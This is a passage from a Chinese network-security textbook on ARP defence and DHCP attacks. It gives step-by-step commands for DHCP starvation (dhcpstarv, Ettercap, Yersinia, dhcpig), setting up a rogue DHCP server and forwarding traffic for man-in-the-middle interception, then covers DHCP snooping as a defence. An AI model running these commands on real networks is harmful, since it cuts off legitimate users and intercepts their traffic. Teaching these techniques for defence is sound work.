以上软件包解压成功后，其软件将被解压到当前目录的arpoison-0.7文件夹中。 （6）切换到arpoison-0.7目录，编译Arpoison工具。执行命令： root@daxueba:~/arpoison-0.7# gcc arpoison.c /usr/local/lib/libnet.a –o arpoison 执行以上命令后，将不会输出任何信息。在当前目录中，将出现一个arpoison可执行文件，如下： root@daxueba:~/arpoison-0.7# ls arpoison arpoison.8 arpoison.c LICENSE Makefile README 接下来，通过执行arpoison可执行文件即可启动Arpoison工具。 （7）为了方便启动Arpoison工具，将arpoison可执行文件复制到/usr/bin目录中。执行命令： root@daxueba:~/arpoison-0.7# cp arpoison /usr/bin/ 此时，用户在终端窗口直接输入arpoison命令即可启动Arpoison工具。 2.使用Arpoison工具 通过前面的步骤，Arpoison工具就安装成功了。接下来，可以使用该工具实施ARP攻击防御。该工具的语法格式如下： root@daxueba:~# arpoison [options] 该工具支持的选项及含义如下： ·-i<device>：指定发送ARP包的网卡接口。 ·-d<dest IP>：指定目标IP地址。 ·-s<src IP>：指定源IP地址。 ·-t<target MAC>：指定目标MAC地址。其中，ff:ff:ff:ff:ff:ff表示发送ARP广播包。 ·-r<src MAC>：指定源MAC地址。 ·-w：指定发送包的时间间隔。 ·-n：指定发送的次数。 【实例2-12】 使用Arpoison工具实施ARP攻击防御。执行命令： root@daxueba:~# arpoison -i eth0 -d 192.168.6.1 -s 192.168.6.100 -t ff:ff: ff:ff:ff:ff -r 50:e5:49:eb:46:8d ARP reply 1 sent via eth0 ARP reply 2 sent via eth0 ARP reply 3 sent via eth0 ARP reply 4 sent via eth0 ARP reply 5 sent via eth0 ARP reply 6 sent via eth0 ARP reply 7 sent via eth0 ARP reply 8 sent via eth0 ARP reply 9 sent via eth0 ARP reply 10 sent via eth0 ARP reply 11 sent via eth0 ARP reply 12 sent via eth0 ARP reply 13 sent via eth0 ARP reply 14 sent via eth0 ARP reply 15 sent via eth0 ...... 执行以上命令后，只要用户给网关发送正确的ARP包的速度比攻击者发送ARP包的速度快，就不会影响与网关的通信。这样就实现了ARP防御。 未知 2.3.5 安装ARP防火墙 如今大部分安全辅助软件均内置了ARP防火墙功能，如360安全卫士、金山贝壳ARP专杀、金山卫士等。这些软件通过在终端计算机上对网关进行绑定，以保证终端计算机不受网络中假网关的影响，从而保护其数据不被窃取。 未知 第3章 DHCP攻击及防御 DHCP攻击的目标是网络中的DHCP服务器。它通过耗尽DHCP服务器所有的IP地址资源，使得其无法正常提供地址分配服务，然后在网络中架设假冒的DHCP服务器为客户端分发IP地址，从而实现中间人攻击。本章将介绍如何通过DHCP攻击方式来实现中间人攻击。 未知 3.1 DHCP工作机制 动态主机配置协议（Dynamic Host Configuration Protocol，DHCP）是一个局域网协议，主要用来给局域网中的客户端分配动态的IP地址、网关地址、DNS服务器地址等信息。本节将介绍DHCP的工作流程及DHCP攻击的原理。"},
    {"text": "未知 3.1.1 DHCP工作流程 DHCP采用客户端/服务器模型，主机地址的动态分配任务由网络主机驱动。当DHCP服务器接收到来自网络主机申请地址的信息时，才会向网络主机发送相关的地址配置等信息，以实现网络主机地址信息的动态配置。其中，DHCP的工作流程如图3.1所示。 图3.1 DHCP的工作流程 DHCP工作流程的具体步骤如下： （1）客户端以广播方式发出DHCP Discover报文，寻找网络中的DHCP服务器。 （2）DHCP服务器接收到来自客户端的DHCP Discover报文后，会在自己的地址池中查找是否有可提供的IP地址。如果有，服务器就将此IP地址做上标记，并用DHCP Offer报文将其发送给客户端。 （3）由于网络中可能会存在多台DHCP服务器，因此客户端可能会接收到多个DHCP Offer报文。此时，客户端只选择最先到达的DHCP Offer，并再次以广播方式发送DHCP Request报文。这时，不仅要告知它所选择的服务器，同时也要告知其他没有被选择的服务器。这样，这些服务器就可以将之前所提供的IP地址收回。 （4）被选择的服务器接收到客户端发来的DHCP Request报文后，首先将刚才所提供的IP地址标记为已租用，然后向客户端发送一个DHCP Ack确认报文。该报文中包含有IP地址的有效租约、默认网关和DNS服务器等网络配置信息。当客户端收到DHCP Ack报文后，就成功获得了IP地址，完成了初始化过程。 未知 3.1.2 DHCP攻击原理 DHCP攻击的过程如下： （1）客户端广播发送DHCP请求给所有的DHCP服务器，包括真实的和伪装的DHCP服务器，如图3.2所示。 图3.2 发送DHCP请求 （2）伪装的DHCP服务器先响应了客户端的请求，因此真实的DHCP服务器的响应就被丢掉了，如图3.3所示。 图3.3 伪DHCP服务器响应请求 （3）此时，客户端的一切信息都会被发送到伪装的DHCP服务器，如图3.4所示。 图3.4 DHCP攻击成功 （4）以上就是DHCP攻击的全过程。其实，攻击的根源在于交换机在同一个VLAN下，所有接口都处于同一个广播域。因此，DHCP请求发出后，处于同一个VLAN的客户端都应该会收到。只不过在正常情况下，只有DHCP服务才会对DHCP请求进行回应。但是，没有人可以保证在一个VLAN里不会有人恶意或者不小心开启了DHCP服务功能。 未知 3.2 搭建DHCP服务 根据前面的介绍可以知道，要进行DHCP攻击，需要创建一个DHCP服务，来冒充真实的DHCP服务。为了区别原有的服务，该新创建的DHCP服务被称为伪DHCP服务。因此，用户需要在攻击主机上搭建DHCP服务。本节将介绍安装并配置DHCP服务的方法。 未知 3.2.1 安装DHCP服务 在Kali Linux中，默认没有安装DHCP服务。因此，如果要使用伪DHCP服务，则需要用户手动搭建。在Kali Linux软件源中，提供了DHCP服务的安装包。用户可以直接使用apt-get命令安装。另外，在Kali Linux中，还提供了一款名为Ghost Phisher的工具，也可以用来创建伪DHCP服务。而且，Ghost Phisher还是一款图形界面工具，操作起来非常容易。为了满足用户需求，下面将分别介绍使用这两种方式搭建DHCP服务的方法。 1.通过软件源安装 DHCP服务的安装包名为isc-dhcp-server，执行命令： root@daxueba:~# apt-get install isc-dhcp-server -y 执行以上命令后，将开始安装DHCP服务。如果安装过程中没有报错的话，则该服务将被成功安装到系统中。 2.使用Ghost Phisher工具 【实例3-1】 使用Ghost Phisher工具创建伪DHCP服务。具体操作步骤如下： （1）启动Ghost Phisher工具。执行命令： root@daxueba:~# ghost-phisher 执行以上命令后，将弹出Ghost Phisher Tips对话框，如图3.5所示。 图3.5 Ghost Phisher Tips对话框 （2）在图3.5所示对话框中，如果用户要修改Ghost Phisher工具的字体大小，则按F2键。如果用户不希望该对话框每次都弹出，则选择Dont show this message again复选框。关闭该对话框后，将打开Ghost Phisher对话框，如图3.6所示。 图3.6 Ghost Phisher对话框 （3）选择Fake DHCP Server选项卡，可以进行伪DHCP服务设置，如图3.7所示。 （4）在Fake DHCP Server选项卡中显示了三部分信息，分别是DHCP Version Information（DHCP版本信息）、DHCP Settings（DHCP设置信息）和Status（状态信息）。从中可以看到，还没有进行任何的DHCP设置。这里需要设置地址池（Start和End）、子网掩码（Subnet mask）、网关（Gateway）和伪DNS（Fake DNS）和备用DNS（Alt DNS）。在这些设置中，Start表示地址池的起始地址，End表示结束地址。其中，本例中的DHCP服务配置如图3.8所示。 图3.7 伪DHCP服务设置界面 图3.8 伪DHCP服务设置 （5）此时，伪DHCP服务就配置好了。接下来，单击Start按钮启动该服务，如图3.9所示。 （6）从Status列表框中可以看到，伪DHCP服务已启动。现在，伪DHCP服务就可以正常为客户端分配IP地址了。 图3.9 伪DHCP服务已启动"},
    {"text": "未知 3.2.2 配置伪DHCP服务 当通过软件源安装DHCP服务后，还需要对该服务进行配置，如地址池、默认网关和DNS服务器地址等。其中，DHCP服务的主要配置文件有两个，分别是/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf。用户需要对这两个文件进行配置。其中，在配置/etc/dhcp/dhcpd.conf文件时，用户可以直接在原始文件中进行修改，也可以将该文件中的所有内容删除，仅保存需要的内容。下面分别对这两个文件进行配置。 提示： 为了安全起见，如果在原始文件中进行修改的话，最好在操作之前将原始文件进行备份。 1.配置网络接口 因为DHCP服务的配置文件中默认没有配置监听的网络接口，所以用户需要进行配置。这里通过修改/etc/default/isc-dhcp-server配置文件指定监听的网络。具体配置方法如下： （1）查看当前主机的网络接口信息。执行命令： root@daxueba:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.0.112 netmask 255.255.255.0 broadcast 192.168.0.255 inet6 fe80::20c:29ff:fe0b:6eb5 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:0b:6e:b5 txqueuelen 1000 (Ethernet) RX packets 7212 bytes 6398701 (6.1 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4274 bytes 439592 (429.2 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 ether 00:0c:29:0b:6e:bf txqueuelen 1000 (Ethernet) RX packets 3123 bytes 333434 (325.6 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 4255 bytes 5871177 (5.5 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 119 bytes 8338 (8.1 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 119 bytes 8338 (8.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 从输出的信息中可以看到，当前主机中有3个网络接口。其中，eth0和eth1是有线网络接口，其IP地址分别为192.168.0.112（能访问互联网）和192.168.1.1（不能访问互联网）；lo是本地回环接口。这里将选择使用eth1接口来配置网络。 （2）编辑/etc/default/isc-dhcp-server配置文件。该文件的内容如下： root@daxueba:~# vi /etc/default/isc-dhcp-server # Defaults for isc-dhcp-server (sourced by /etc/init.d/isc-dhcp-server) # Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf). #DHCPDv4_CONF=/etc/dhcp/dhcpd.conf #DHCPDv4的配置文件 #DHCPDv6_CONF=/etc/dhcp/dhcpd6.conf #DHCPDv6的配置文件 # Path to dhcpd's PID file (default: /var/run/dhcpd.pid). #DHCPDv4_PID=/var/run/dhcpd.pid #DHCPDv4的PID文件 #DHCPDv6_PID=/var/run/dhcpd6.pid #DHCPDv6的PID文件 # Additional options to start dhcpd with. # Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead #OPTIONS=\"\" # On what interfaces should the DHCP server (dhcpd) serve DHCP requests? # Separate multiple interfaces with spaces, e.g. \"eth0 eth1\". INTERFACESv4=\"\" #IPv4网络接口 INTERFACESv6=\"\" #IPv6网络接口 这里主要通过修改INTERFACESv4参数，指定目标主机的网络接口名称。例如，这里使用eth1接口分配地址，则设置为eth1接口。执行命令： INTERFACESv4=\"eth1\" 2.配置网络信息 在配置文件/etc/dhcp/dhcpd.conf中，配置对应的网络信息，如地址池、网关、DNS服务器地址等。例如，这里为eth1接口进行网络配置。其中，eth1接口的IP地址为192.168.1.1，因此这里配置一个192.168.1.0网段的地址池。执行命令： root@daxueba:~# vi /etc/dhcp/dhcpd.conf ddns-update-style none; #动态DNS更新模式 default-lease-time 600; #DHCP租约时间 max-lease-time 7200; #DHCP最大租约时间 subnet 192.168.1.0 netmask 255.255.255.0 { #DHCP服务用于分配地址的网段 range 192.168.1.10 192.168.1.20; #地址池 option subnet-mask 255.255.255.0; #子网掩码 option routers 192.168.1.1; #默认网关 option broadcast-address 192.168.1.255; #广播地址 option domain-name-servers 114.114.114.114; #DNS服务器的地址 } 由以上配置信息可知，已配置了一个192.168.1.0网段的地址池。其中，默认网关为192.168.1.1；DNS服务器地址为114.114.114.114；用于分配的地址池为192.168.1.10～192.168.1.20。"},
    {"text": "未知 3.2.3 启动伪DHCP服务 通过软件源安装的DHCP服务只有启动之后，才可以为客户端进行地址分配。下面将介绍启动DHCP服务的方法。 启动DHCP服务的命令如下： root@daxueba:~# service isc-dhcp-server start 执行以上命令后，将不会输出任何信息。此时，可以查看该服务的状态。执行命令： root@daxueba:~# service isc-dhcp-server status ● isc-dhcp-server.service - LSB: DHCP server Loaded: loaded (/etc/init.d/isc-dhcp-server; generated) Active: active (running) since Sat 2018-10-13 11:43:14 CST; 3s ago Docs: man:systemd-sysv-generator(8) Process: 6953 ExecStart=/etc/init.d/isc-dhcp-server start (code=exited, status=0/SUCCESS) Tasks: 1 (limit: 2323) Memory: 12.6M CGroup: /system.slice/isc-dhcp-server.service └─6966 /usr/sbin/dhcpd -4 -q -cf /etc/dhcp/dhcpd.conf eth0 10月 13 11:43:12 daxueba systemd[1]: Starting LSB: DHCP server... 10月 13 11:43:12 daxueba isc-dhcp-server[6953]: Launching IPv4 server only. 10月 13 11:43:12 daxueba dhcpd[6964]: Wrote 0 leases to leases file. 10月 13 11:43:12 daxueba dhcpd[6966]: Server starting service. 10月 13 11:43:14 daxueba isc-dhcp-server[6953]: Starting ISC DHCPv4 server: dhcpd. 10月 13 11:43:14 daxueba systemd[1]: Started LSB: DHCP server. 从输出信息中可以看到，Active的状态为active(running)。由此可知，DHCP服务启动成功。用户也可以通过查看监听的端口，以确定其服务是否启动成功。其中，DHCP服务默认监听的端口为67。执行如下命令： root@daxueba:~# netstat -anptul | grep 67 udp 0 0 0.0.0.0:67 0.0.0.0:* 6966/dhcpd 看到以上输出信息，就表明DHCP服务启动成功。如果没有启动成功的话，将不会输出以上信息。 未知 3.2.4 DHCP租约文件 当DHCP服务成功启动后，就可以为客户端分配IP地址了。如果用户想要知道是否有客户端向自己的DHCP服务请求了IP地址，可以查看其租约文件。DHCP服务器的租约文件默认是/va/lib/dhcp/dhcpd.leases。如果有客户端请求了IP地址，在该文件中即可看到相关信息。 下面是一个客户端向DHCP服务器请求IP地址的租约文件，其内容如下： root@daxueba:~# cat /var/lib/dhcp/dhcpd.leases # The format of this file is documented in the dhcpd.leases(5) manual page. # This lease file was written by isc-dhcp-4.3.5 # authoring-byte-order entry is generated, DO NOT DELETE authoring-byte-order little-endian; lease 192.168.1.10 { starts 6 2018/10/13 07:18:45; #租约开始时间 ends 6 2018/10/13 07:28:45; #租约结束时间 cltt 6 2018/10/13 07:18:45; #客户端最后访问时间 binding state active; #绑定状态 next binding state free; rewind binding state free; hardware ethernet 00:0c:29:fc:40:cb; #客户端的MAC地址 client-hostname \"Kali\"; #客户端的主机名 } 从输出的信息中可以看到客户端请求的IP地址的相关信息。其中，包括租约开始和结束时间、客户端最后访问时间、绑定状态、客户端的MAC地址和主机名。在这里可以看到，一台名为Kali的主机请求获取了一个IP地址，其地址为192.168.1.10。 未知 3.3 DHCP耗尽攻击 DHCP耗尽攻击是指攻击者伪造chaddr字段各不相同的DHCP请求报文，向DHCP服务器申请大量的IP地址，导致DHCP服务器地址池中的地址耗尽，无法为合法的DHCP客户端分配IP地址，或导致DHCP服务器消耗过多的系统资源，无法处理正常业务。本节将介绍使用一些工具来实施DHCP耗尽攻击的方法。"},
    {"text": "未知 3.3.1 使用Dhcpstarv工具 Dhcpstarv工具是一个DHCP耗尽攻击工具。该工具通过不断伪造MAC地址进行DHCP请求，进而把DHCP服务器能响应的IP地址都消耗掉，以实现DHCP耗尽攻击。下面将介绍如何使用Dhcpstarv工具实施DHCP耗尽攻击。 在Kali Linux中，默认没有安装Dhcpstarv工具。因此，如果要使用该工具，则需要先安装。执行命令： root@daxueba:~# apt-get install dhcpstarv 执行以上命令后，如果没有报错，则说明安装成功。接下来，就可以使用Dhcpstarv工具实施DHCP耗尽攻击了。 Dhcpstarv工具的语法格式如下： dhcpstarv [选项] -i IFNAME 该工具支持的选项及含义如下： ·-d,--dstmac=MAC：指定MAC地址。 ·--debug：输出调试信息。 ·-e,--exclude=ADDRESS：忽略服务器响应的地址。 ·-i,---iface=IFNAME：指定接口名称。 ·-p,--no-promisc：使用混杂模式。 ·-v,--verbose：输出详细信息。 【实例3-2】 使用Dhcpstarv工具实施DHCP耗尽攻击，并使用伪DHCP服务获取IP地址。具体操作步骤如下： （1）实施DHCP耗尽攻击。执行命令： root@daxueba:~# dhcpstarv -i eth0 -e 192.168.0.112 12:06:27 10/13/18: no renewal time option in DHCPOFFER 12:06:27 10/13/18: got address 192.168.0.113 for 00:16:36:e5:b6:35 from 192.168.0.1 12:06:28 10/13/18: no renewal time option in DHCPOFFER 12:06:28 10/13/18: got address 192.168.0.115 for 00:16:36:94:9b:28 from 192.168.0.1 12:06:29 10/13/18: no renewal time option in DHCPOFFER 12:06:29 10/13/18: got address 192.168.0.116 for 00:16:36:63:34:03 from 192.168.0.1 12:06:30 10/13/18: no renewal time option in DHCPOFFER 12:06:30 10/13/18: got address 192.168.0.117 for 00:16:36:f4:52:c1 from 192.168.0.1 12:06:31 10/13/18: no renewal time option in DHCPOFFER 12:06:31 10/13/18: got address 192.168.0.118 for 00:16:36:31:a2:ce from 192.168.0.1 12:06:32 10/13/18: no renewal time option in DHCPOFFER 12:06:32 10/13/18: got address 192.168.0.119 for 00:16:36:fb:14:9b from 192.168.0.1 12:06:33 10/13/18: no renewal time option in DHCPOFFER 12:06:33 10/13/18: got address 192.168.0.120 for 00:16:36:49:b0:28 from 192.168.0.1 12:06:34 10/13/18: no renewal time option in DHCPOFFER …… 看到以上输出信息，就表明正在消耗DHCP服务的IP地址。如果不再有类似的输出结果，则说明DHCP服务的响应基本被消耗完了。此时，攻击者继续运行Dhcpstarv工具，并启动自己的DHCP服务。 （2）启动伪DHCP服务。执行命令： root@daxueba:~# service isc-dhcp-server start 现在，伪DHCP服务已经成功启动。此时，当有客户端接入局域网时，伪DHCP服务将会为该客户端分配IP地址。 （3）这里将启动一台主机名为Kali的主机作为目标主机，通过伪DHCP服务来获取IP地址。由于正常的DHCP服务器已经没有可分配的IP地址，新的内网主机就会使用攻击者的DHCP服务器分配的IP地址。当该目标主机成功连接到网络时，可以使用ifconfig命令查看获取的IP地址。执行命令： root@Kali:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:fc:40:cb inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fefc:40cb/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:15384 errors:0 dropped:0 overruns:0 frame:0 TX packets:8006 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:15938393 (15.2 MiB) TX bytes:952583 (930.2 KiB) 从输出的信息中可以看到，目标主机获取的IP地址为192.168.1.10，而伪DHCP服务地址池的起始地址为192.168.1.10。由此可知，该主机的IP地址是由伪DHCP服务器分配的。用户也可以查看DHCP租约文件，以确定分配该IP地址的DHCP服务器。 （4）查看目标主机的路由信息，将会发现网关地址为攻击主机的IP地址。执行命令： root@Kali:~# route Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface default 192.168.1.1 0.0.0.0 UG 0 0 0 eth0 192.168.1.0 * 255.255.255.0 U 0 0 0 eth0 从输出的信息中可以看到，默认网关地址为192.168.1.1，即攻击主机eth1接口的IP地址。由此可知，DHCP耗尽攻击成功。"},
    {"text": "未知 3.3.2 使用Ettercap工具 Ettercap工具也支持DHCP耗尽攻击。下面将介绍如何使用Ettercap工具来实施DHCP耗尽攻击。 【实例3-3】 使用Ettercap工具实施DHCP耗尽攻击。具体操作步骤如下： （1）启动Ettercap的操作窗口。执行命令： root@daxueba:~# ettercap -G （2）选择嗅探方式及网络接口。本例中选择Unified sniffing嗅探方式，接口选择有线网络接口eth0。启动后，将显示如图3.10所示的窗口。 图3.10 成功启动Unified嗅探 （3）启动DHCP耗尽攻击。在菜单栏中，依次选择Mitm|DHCP spoofing…命令，将打开如图3.11所示的对话框。 图3.11 MITM Attack:DHCP Spoofing对话框 （4）在该对话框中分别设置DHCP的地址池、子网掩码和DNS服务器地址。在本例中，攻击主机的IP地址为192.168.1.1，所以这里设置一个192.168.1.0/24网段的地址池（192.168.1.10-20）。如果用户指定单个地址的话，中间使用逗号分隔。例如，指定192.168.1.10和192.168.1.20-50地址池，则语法规则为192.168.1.10,20-50。设置完成后，单击“确定”按钮。此时，在Ettercap 0.8.2窗口下方的信息框中将看到伪DHCP服务器已配置完成，如图3.12所示。 （5）从信息框的最后一行可以看到指定了IP地址池、子网掩码和DNS服务器地址。接下来，启动一台目标主机。当该主机启动后，伪DHCP服务器将会为其分配IP地址。 图3.12 成功配置了伪DHCP服务 用户也可以使用Ettercap工具的文本模式来实现DHCP耗尽攻击。执行命令： root@daxueba:~# ettercap -i eth0 -Tq -M dhcp:192.168.1.10-20/255.255.255. 0/114.114.114.114 其中，192.168.1.10-20为IP地址池，255.255.255.0为子网掩码，114.114.114.114为DNS服务器。 执行以上命令后，将输出如下所示的信息： ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0B:6E:B5 192.168.0.112/255.255.255.0 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Randomizing 255 hosts for scanning... Scanning the whole netmask for 255 hosts... * |==================================================>| 100.00 % 1 hosts added to the hosts list... DHCP spoofing: using specified ip_pool, netmask 255.255.255.0, dns 114.114. 114.114 Starting Unified sniffing... #开始嗅探数据包 Text only Interface activated... Hit 'h' for inline help 看到以上输出信息，就表明正在实施DHCP耗尽攻击。"},
    {"text": "未知 3.3.3 使用Yersinia工具 Yersinia工具是一款底层协议攻击入侵检测工具，能够实施多种网络协议的多种攻击。该工具提供了4种模式，分别是命令行模式、GTK窗口模式、Ncurses窗口模式和守护模式。用户可以根据自己的爱好，选择不同的模式来实施DHCP耗尽攻击。不过，GTK窗口模式是最简单且最直观的方式。因此，下面将介绍如何使用Yersinia工具的GTK窗口模式来实施DHCP耗尽攻击。 【实例3-4】 使用Yersinia工具的GTK窗口模式实施DHCP耗尽攻击。具体操作步骤如下： （1）启动Yersinia工具。执行命令： root@daxueba:~# yersinia -G 执行以上命令后，将弹出一个警告对话框，如图3.13所示。 图3.13 警告对话框 （2）该对话框提示，Yersinia工具是一个Alpha版本。在GTK窗口模式下，一些功能可能无法实现，不过足够一般用户使用。单击OK按钮，即可成功启动Yersinia工具。启动后，将显示如图3.14所示的窗口。 图3.14 Yersinia 0.8.2窗口 （3）从该窗口中可以看到，Yersinia共由6个部分组成，在图3.14中已分别用数字编号标出。其中，第一部分是Yersinia工具的菜单栏和工具栏；第二部分显示了Yersinia支持的所有协议及捕获的包数量；第三部分显示了捕获的包具体信息；第四部分显示了包中的每个字段和值；第五部分显示了协议默认的参数值；第六部分用来显示包的原始格式。接下来，用户选择其网络接口后，就可以实施DHCP耗尽攻击了。在工具栏中，单击Edit Interfaces按钮，将打开Choose interfaces对话框，如图3.15所示。 （4）选择eth0复选框，并单击OK按钮。接下来，选择DHCP攻击方式。在工具栏中，单击Launch attack按钮，打开Choose attack对话框，选择DHCP选项卡，如图3.16所示。 图3.15 Choose interfaces对话框 图3.16 Choose attack对话框 （5）在DHCP选项卡中选择DHCP攻击方式。DHCP服务会响应所有的DHCP请求。因此，用户可以伪造来自不同MAC地址的DHCP Discover或者Request报文使得原来的DHCP服务器耗尽。这里，将选择发送DISCOVER包来实施DHCP耗尽攻击，即在DHCP选项卡中选择sending DISCOVER packet单选按钮。然后，单击OK按钮，即开始实施攻击。此时，在Yersinia 0.8.2窗口中的Protocols列选择DHCP选项，将看到发送的所有攻击包，如图3.17所示。 图3.17 正在实施攻击 （6）从图3.17中可以看到Yersinia一直在向eth0接口发送DHCP Discover报文。这样当交换机的DHCP服务器收到这些请求后，会响应DHCP Offer报文。运行几分钟后，则可以达到地址池耗尽的目的。此时，新接入网络的客户端就会因获取不到IP地址而无法接入网络，而且之前接入网络的用户也会受到影响。如果用户想要查看每个包的详细信息，在DHCP选项卡中选择某个包，则可以在Value列中看到每个字段的详细信息，如源MAC地址、目标MAC地址、SIP、DIP、源端口和目标端口等如图3.18所示。 图3.18 查看包的详细信息 （7）当用户需要停止攻击时，单击工具栏中的List attacks按钮，将打开Running Attacks对话框，如图3.19所示。 图3.19 Running Attacks对话框 （8）在该对话框中可以看到当前正在实施DHCP sending DISCOVER packet攻击。单击Stop按钮，即可停止该攻击。如果用户同时执行了多个攻击，并且希望都停止的话，则单击Stop ALL按钮。"},
    {"text": "未知 3.3.4 使用Dhcpig工具 Dhcpig工具可以发起一个高级的DHCP耗尽攻击。该工具借助Scapy大量伪造Mac地址，而从DHCP服务器那里骗取IP地址，消耗掉所有的IP地址。这样，新加入网络的客户端无法获取IP地址，导致联网失败。同时，该工具还可以借助ARP攻击局域网内现有的主机，造成这些主机离线，使其无法获取新的IP地址。下面将介绍如何使用Dhcpig工具实施DHCP耗尽攻击。 Dhcpig工具的语法格式如下： dhcpig [选项] 【实例3-5】 使用Dhcpig工具实施DHCP耗尽攻击。执行命令： root@daxueba:~# dhcpig -t 10 eth0 执行以上命令后，将输出如下所示的信息： [ -- ] [INFO] - using interface eth0 [DBG ] Thread 0 - (Sniffer) READY [DBG ] Thread 1 - (Sender) READY [DBG ] Thread 2 - (Sender) READY [DBG ] Thread 3 - (Sender) READY [--->] DHCP_Discover [DBG ] Thread 4 - (Sender) READY [--->] DHCP_Discover [--->] DHCP_Discover [DBG ] Thread 5 - (Sender) READY [--->] DHCP_Discover [DBG ] Thread 6 - (Sender) READY [--->] DHCP_Discover [DBG ] Thread 7 - (Sender) READY [--->] DHCP_Discover [DBG ] Thread 8 - (Sender) READY [--->] DHCP_Discover [DBG ] Thread 9 - (Sender) READY [--->] DHCP_Discover [DBG ] Thread 10 - (Sender) READY [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover [--->] DHCP_Discover …… 看到以上输出信息，就表明正在实施DHCP耗尽攻击。 提示： 当用户启动Dhcpig工具后，可能会出现一些警告信息，如下： Exception in thread Thread-1: Traceback (most recent call last): File \"/usr/lib/python2.7/threading.py\", line 801, in __bootstrap_inner self.run() File \"/usr/bin/pig.py\", line 534, in run sniff(filter=self.filter,prn=self.detect_dhcp,store=0,timeout= 3,iface=conf.iface) File \"/usr/lib/python2.7/dist-packages/scapy/sendrecv.py\", line 780, in sniff r = prn(p) File \"/usr/bin/pig.py\", line 609, in detect_dhcp sendPacket(dhcp_req) File \"/usr/bin/pig.py\", line 405, in sendPacket sendp(pkt,iface=conf.iface) File \"/usr/lib/python2.7/dist-packages/scapy/sendrecv.py\", line 315, in sendp verbose=verbose, realtime=realtime, return_packets=return_packets) File \"/usr/lib/python2.7/dist-packages/scapy/sendrecv.py\", line 276, in __gen_send s.send(p) File \"/usr/lib/python2.7/dist-packages/scapy/arch/linux.py\", line 551, in send return SuperSocket.send(self, x) 以上的警告信息不会影响工具的使用，所以用户可以不用理会。 未知 3.4 数据转发 当用户使用创建的DHCP服务器为客户端分配IP地址后，用户还需要设置数据转发。否则，客户端无法访问互联网。下面将介绍设置数据转发的方法。 设置数据转发也非常简单，用户只需要使用两条命令即可。这里，主要使用iptables命令，来设置数据转发规则。具体操作步骤如下： （1）开启路由转发。执行命令： root@daxueba:~# echo \"1\" >/proc/sys/net/ipv4/ip_forward root@daxueba:~# cat /proc/sys/net/ipv4/ip_forward 1 （2）使用iptables命令创建一条转发规则，将eth1接口的数据转发到eth0接口。执行命令： root@daxueba:~# iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.0/24 -j MASQUERADE 执行以上命令后，将不会有任何信息输出。 未知 3.5 防御策略 要防止DHCP攻击，只要不让非授权的DHCP服务器的回应通过网络即可。目前，网络基本都采用交换机直接连接到计算机，并且交换机的一个端口只接一台计算机。因此，可以在交换机上进行控制，只让合法的DHCP回应通过交换机，阻断非法的回应，从而防止DHCP攻击。采用这种防御策略，不用对用户的计算机做任何的改变。本节将介绍针对DHCP攻击的防御策略。"},
    {"text": "未知 3.5.1 启用DHCP-Snooping功能 DHCP-Snooping技术是DHCP的安全特性。它通过建立和维护DHCP-Snooping绑定表，过滤不可信任的DHCP信息。这些信息是指来自不信任区域的DHCP信息。DHCP-Snooping绑定表包含不信任区域的主机的MAC地址、IP地址、租用期、VLAN-ID接口等信息。 当交换机开启了DHCP-Snooping功能后，将会对DHCP报文进行帧听，并可以从接收到的DHCP Request或DHCP Ack报文中提取并记录IP地址和MAC地址信息。另外，DHCP-Snooping还将交换机的端口分为信任端口和非信任端口，如图3.20所示。 图3.20 信任与非信任端口 当交换机从一个非信任端口收到DHCP服务器的报文时（如DHCP Offer报文、DHCP Ack报文、DHCP Nak报文），交换机会直接将该报文丢弃；对于从信任端口收到的DHCP服务器的报文，交换机不会丢弃而直接转发。一般将与用户相连的端口定义为非信任端口，而将与DHCP服务器或者其他交换机相连的端口定义为信任端口。也就是说，当在一个非信任端口连接DHCP服务器的话，该服务器发出的报文将不能通过交换机的端口。因此，只要将用户端口设置为非信任端口，就可以有效地防止非授权用户私自设置DHCP服务器而进行DHCP攻击。 当在一个局域网中使用交换机时，用户可以通过启用DHCP-Snooping功能来有效地防止DHCP耗尽攻击。下面将以Cisco交换机为例，介绍启动DHCP-Snooping功能的方法。执行命令如下： switch（config）# ip dhcp snooping switch（config）# ip dhcp snooping vlan 10 #在Vlan10启用DHCP Snooping #DHCP包的转发速率，默认不限制 switch（config-if）# ip dhcp snooping limit rate 10 switch（config-if）# ip dhcp snooping trust #设置为信任端口 通过以上几个命令，Vlan 10就设置成了信任端口。然后，该信任端口就可以正常接收并转发DHCP Offer报文，不记录IP地址和MAC地址的绑定。 switch（config-if）# show 